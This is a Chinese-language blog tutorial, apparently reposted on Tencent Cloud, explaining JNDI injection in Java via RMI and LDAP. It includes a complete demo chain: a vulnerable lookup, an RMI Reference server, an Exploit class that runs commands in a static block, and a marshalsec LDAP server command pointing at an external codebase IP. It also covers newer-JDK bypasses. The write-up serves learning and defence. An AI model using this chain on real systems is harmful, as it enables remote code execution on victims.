首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Java安全之JNDI注入

Java安全之JNDI注入

作者头像
ph0ebus
发布于 2023-08-13 02:33:14
发布于 2023-08-13 02:33:14
61000
代码可运行
举报
运行总次数:0
代码可运行

简介

Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

Naming就是名称服务,通过名称查找实际对象的服务。值得一提的名称服务为 LDAP,全称为 Lightweight Directory Access Protocol,即轻量级目录访问协议,其名称也是从右到左进行逐级定义,各级以逗号分隔,每级为一个 name/value 对,以等号分隔。比如一个 LDAP 名称如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cn=John, o=Sun, c=US

即表示在 c=US 的子域中查找 o=Sun 的子域,再在结果中查找 cn=John 的对象。

Directory就是目录服务,目录服务是名称服务的一种拓展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(attributes)信息。由此,我们不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索对象。目录服务(Directory Service)提供了对目录中对象(directory objects)的属性进行增删改查的操作。

从设计上,JNDI 独立于具体的目录服务实现,因此可以针对不同的目录服务提供统一的操作接口。JNDI 架构上主要包含两个部分,即 Java 的应用层接口(API)和 SPI。

SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:

  • RMI: Java Remote Method Invocation,Java 远程方法调用;
  • LDAP: 轻量级目录访问协议;
  • CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services);

利用原理

JNDI基本代码如下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
String jndiName= "";  // 指定需要查找name名称
Context context = new InitialContext();  // 初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName);  // 通过name发现和查找数据和对象

这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。

通过lookup()指定参数中确定查找协议,JDK 中默认支持的 JNDI 自动协议转换以及对应的工厂类如下所示:

协议

schema

Context

DNS

dns://

com.sun.jndi.url.dns.dnsURLContext

RMI

rmi://

com.sun.jndi.url.rmi.rmiURLContext

LDAP

ldap://

com.sun.jndi.url.ldap.ldapURLContext

LDAP

ldaps://

com.sun.jndi.url.ldaps.ldapsURLContextFactory

IIOP

iiop://

com.sun.jndi.url.iiop.iiopURLContext

IIOP

iiopname://

com.sun.jndi.url.iiopname.iiopnameURLContextFactory

IIOP

corbaname://

com.sun.jndi.url.corbaname.corbanameURLContextFactory

通过精心构造服务端的返回,我们可以让请求查找的客户端解析远程代码,最终实现远程命令执行。对于不同的内置目录服务有不同的攻击面

JNDI+RMI

RMI的核心特点之一就是动态类加载,假如当前Java虚拟机中并没有此类,它可以去远程URL中去下载这个类的class,而这个class文件可以使用web服务的方式进行托管。

JNDI服务中,RMI服务端除了直接绑定远程对象以外,还可以通过References类来绑定一个外部的远程对象,这个远程对象是当前名称目录系统之外的对象,绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。在客户端调用lookup远程获取远程类的时候,就会获取到Reference对象,获取到Reference对象后,会去寻找Reference中指定的类,如果查找不到则会在Reference中指定的远程地址去进行请求,我们可以直接将对象写在构造方法或者静态代码块中,当被调用时,实例化会默认调用构造方法,以及静态代码块,就在这里实现了任意代码执行

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public Class loadClass(String className, String codebase)
    throws ClassNotFoundException, MalformedURLException {

    ClassLoader parent = getContextClassLoader();
    ClassLoader cl =
             URLClassLoader.newInstance(getUrlArray(codebase), parent);

    return loadClass(className, cl);
}

这里写一个Demo

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// victim.java

import javax.naming.Context;
import javax.naming.InitialContext;

public class Victim {

    public static void main(String[] args) throws Exception {

        String uri = "rmi://127.0.0.1:1099/aa";
        Context ctx = new InitialContext();
        ctx.lookup(uri);  //uri可控

    }
}
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// RMI.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class RMI {

    public static void main(String args[]) throws Exception {

        Registry registry = LocateRegistry.createRegistry(1099);
        Reference aa = new Reference("Exploit", "Exploit", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
        registry.bind("aa", refObjWrapper);

    }

}

然后写恶意对象的类,这里要得到回显就略显麻烦

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// Exploit.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit implements ObjectFactory
{
    static {
        System.err.println("success");
        try {
            String cmd = "calc.exe";
            Runtime.getRuntime().exec(cmd);
            Runtime runtime = Runtime.getRuntime();
            Process process = runtime.exec("cmd.exe /c dir");
            InputStream inputStream = process.getInputStream();
            BufferedReader br = new BufferedReader(new InputStreamReader(inputStream, "gb2312"));
            while(br.readLine()!=null)
                System.out.println(br.readLine());

        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

将这个恶意类编译后放到new Reference()绑定的HTTP目录下,注意这里编译的 java 版本和前面版本一致

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
javac Exploit.java
python -m http.server 8000

然后让Victim访问RMI即可执行命令

因为在6u141,7u131,8u121之后,新增了 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase选项,默认为false,禁止RMICORBA协议使用远程codebase选项,虽然该更新阻止了RMICORBA触发漏洞,但是我们仍然可以使用LDAP协议进行攻击。随后在6u211,7u201.8u191中,又新增了 com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase选项

JNDI+LDAP

ldap的属性值中可以被用来存储Java对象,通过Java序列化,或者 JNDI Reference 来存储。运行后客户端程序会获取并解析 LDAP 记录,从而根据属性名称去获取并实例化远程对象

一般我们不需要自主搭建服务器,可以借助工具marchalsec来实现

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
mvn clean package -DskipTests 

通过 maven 搭建一下,然后进入 target 目录,有生成的jar包

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]

例如LDAP Server使用工具起

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://150.158.173.89:8888/#Exploit" 9999

绕过高版本限制

两种绕过方法如下:

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。

详细可以参考

如何绕过高版本 JDK 的限制进行 JNDI 注入利用 | KINGX

探索高版本 JDK 下 JNDI 漏洞的利用方法 | 浅蓝

最后

JNDI 注入的漏洞的关键在于动态协议切换导致请求了攻击者控制的目录服务,进而导致加载不安全的远程代码导致代码执行。漏洞虽然出现在 InitialContext 及其子类 (InitialDirContext 或 InitialLdapContext) 的 lookup 上,但也有许多其他的方法间接调用了 lookup(),比如:

  • InitialContext.rename()
  • InitialContext.lookupLink()

或者在一些常见外部类中调用了 lookup(),比如:

  • org.springframework.transaction.jta.JtaTransactionManager.readObject()
  • com.sun.rowset.JdbcRowSetImpl.execute()
  • javax.management.remote.rmi.RMIConnector.connect()
  • org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

这些地方一旦可控都可能成为 JNDI 的注入点,或者结合其他利用链反序列化

本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-08-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
JNDI注入原理浅析
JNDI (Java Naming and Directory Interface) 是一个java中的技术,用于提供一个访问各种资源的接口。比如通过JNDI可以在局域网上定位一台打印机,或者定位数据库服务,远程JAVA对象等。 JNDI底层支持RMI远程对象,RMI注册的服务可以直接被JNDI接口访问调用。
ConsT27
2022/02/11
3.4K0
JNDI注入原理浅析
Java安全之JNDI注入
续上篇文内容,接着来学习JNDI注入相关知识。JNDI注入是Fastjson反序列化漏洞中的攻击手法之一。
全栈程序员站长
2021/04/07
1.1K0
Java安全之JNDI注入
JNDI与RMI、LDAP
JNDI 全名 Java Naming and Directory Interface,实际上简单来说就是一个接口,应用通过该接口来访问对应的目录服务。好吧,先了解一下目录服务是啥。
HhhM
2022/08/10
1.6K0
JNDI与RMI、LDAP
JNDI 注入漏洞的前世今生
前两天的 log4j 漏洞引起了安全圈的震动,虽然是二进制选手,但为了融入大家的过年氛围,还是决定打破舒适圈来研究一下 JNDI 注入漏洞。
evilpan
2023/02/12
1.1K0
JNDI 注入漏洞的前世今生
深入理解JAVA中的JNDI注入
简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。
Ms08067安全实验室
2021/08/10
3.1K0
FastJson渗透测试
fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。fastjson.jar是阿里开发的一款专门用于Java开发的包,可以方便的实现json对象与JavaBean对象的转换,实现JavaBean对象与json字符串的转换,实现json对象与json字符串的转换。除了这个fastjson以外,还有Google开发的Gson包,其他形式的如net.sf.json包,都可以实现json的转换。方法名称不同而已,最后的实现结果都是一样的。
黑白天安全
2021/08/10
2K0
Java 中 RMI、JNDI、LADP、JRMP、JMX、JMS那些事儿(上)
之前看了SHIRO-721这个漏洞,然后这个漏洞和SHIRO-550有些关联,在SHIRO-550的利用方式中又看到了利用ysoserial中的JRMP exploit,然后又想起了RMI、JNDI、LDAP、JMX、JMS这些词。这些东西也看到了几次,也看过对应的文章,但把他们联想在一起时这些概念又好像交叉了一样容易混淆。网上的一些资料也比较零散与混乱,所以即使以前看过,没有放在一起看的话很容易混淆。下面是对RMI、JNDI、LDAP、JRMP、JMX、JMS一些资料的整理。
Seebug漏洞平台
2019/12/16
4.5K0
Java 中 RMI、JNDI、LADP、JRMP、JMX、JMS那些事儿(上)
老公,JNDI注入是什么呀?
我们在上一章《攻击rmi的方式》中提到了rmi的一大特性——动态类加载。而jndi注入就是利用的动态类加载完成攻击的。在谈jndi注入之前,我们先来看看关于jndi的基础知识
tnt阿信
2020/08/05
1.3K0
老公,JNDI注入是什么呀?
【紧急】Log4j又发新版2.17.0,只有彻底搞懂RCE漏洞原因,以不变应万变,小白也能看懂
经过一周时间的Log4j2 RCE事件的发酵,事情也变也越来越复杂和有趣,就连 Log4j 官方紧急发布了 2.15.0 版本之后没有过多久,又发声明说 2.15.0 版本也没有完全解决问题,然后进而继续发布了 2.16.0 版本。大家都以为2.16.0是最终终结版本了,没想到才过多久又爆雷,Log4j 2.17.0横空出世。
Tom弹架构
2021/12/21
9860
【紧急】Log4j又发新版2.17.0,只有彻底搞懂RCE漏洞原因,以不变应万变,小白也能看懂
Log4j2史诗级漏洞导致JNDI注入问题探析
Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中,比如在用户登录的时候打印一些异常信息,如xxx密码输入错误超过5次,账号被锁定;xxx账号已被锁定;xxx账号频繁异地登录。
翎野君
2023/05/12
5990
Log4j2史诗级漏洞导致JNDI注入问题探析
Java反序列化(十二) | Fastjson②1.2.24-68总结
介绍什么的就不说了,简介以及1.2.24的复现和详细分析可以看 Java反序列化(十) | Fastjson – CVE-2017-18349
h0cksr
2023/05/17
9570
Java反序列化(十二) | Fastjson②1.2.24-68总结
Apache Log4j 2 远程代码执行漏洞详解
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0 正式版本。
SimpleAstronaut
2022/08/09
1K0
Apache Log4j 2 远程代码执行漏洞详解
Apache Log4j2(CVE-2021-4101)远程代码执行漏洞复现
Apache log4j是Apache的一个开源项目,Java的日志记录工具(同logback)。
没事就要多学习
2024/07/18
3620
Apache Log4j2(CVE-2021-4101)远程代码执行漏洞复现
Log4j史诗级漏洞,从原理到实战,只用3个实例讲明白
最近互联网技术圈最火的一件事莫过于Log4j2的漏洞了。同时也涌现出了各类分析文章,关于漏洞的版本、漏洞的原因、漏洞的修复、程序员因此加班等等。
程序新视界
2021/12/13
1.5K0
Log4j史诗级漏洞,从原理到实战,只用3个实例讲明白
【紧急】Log4j又发新版2.17.0,只有彻底搞懂漏洞原因,才能以不变应万变
经过一周时间的Log4j2 RCE事件的发酵,事情也变也越来越复杂和有趣,就连 Log4j 官方紧急发布了 2.15.0 版本之后没有过多久,又发声明说 2.15.0 版本也没有完全解决问题,然后进而继续发布了 2.16.0 版本。大家都以为2.16.0是最终终结版本了,没想到才过多久又爆雷,Log4j 2.17.0横空出世。
Tom弹架构
2021/12/20
9210
干货|最全fastjson漏洞复现与绕过
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。
HACK学习
2022/04/08
19.8K0
干货|最全fastjson漏洞复现与绕过
从羊城杯一道题学习高版本JDK下JNDI的利用
主要关注到/ApiTest/post控制器,接收了传入的数据参数,并且使用JSON.parseObject函数解析数据,从而触发fastjson反序列化,
h0cksr
2023/05/17
1.3K0
从jndi到log4j2
log4j支持jndi,可以远程调用rmi和ldap,由于rmi和idap本身存在漏洞,因此log4j就会简介触发rmi和idap
红队蓝军
2022/03/21
4470
从jndi到log4j2
CVE-2024-20931:Weblogic JNDI注入远程命令执行漏洞
WebLogic是美国Oracle公司出品的一个application server确切的说是一个基于JAVAEE架构的中间件,BEA WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
Timeline Sec
2024/07/16
2.1K0
CVE-2024-20931:Weblogic JNDI注入远程命令执行漏洞
从jndi到log4j2
漏洞成因: log4j支持jndi,可以远程调用rmi和ldap,由于rmi和idap本身存在漏洞,因此log4j就会简介触发rmi和idap
红队蓝军
2022/05/17
2970
从jndi到log4j2
推荐阅读
相关推荐
JNDI注入原理浅析
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档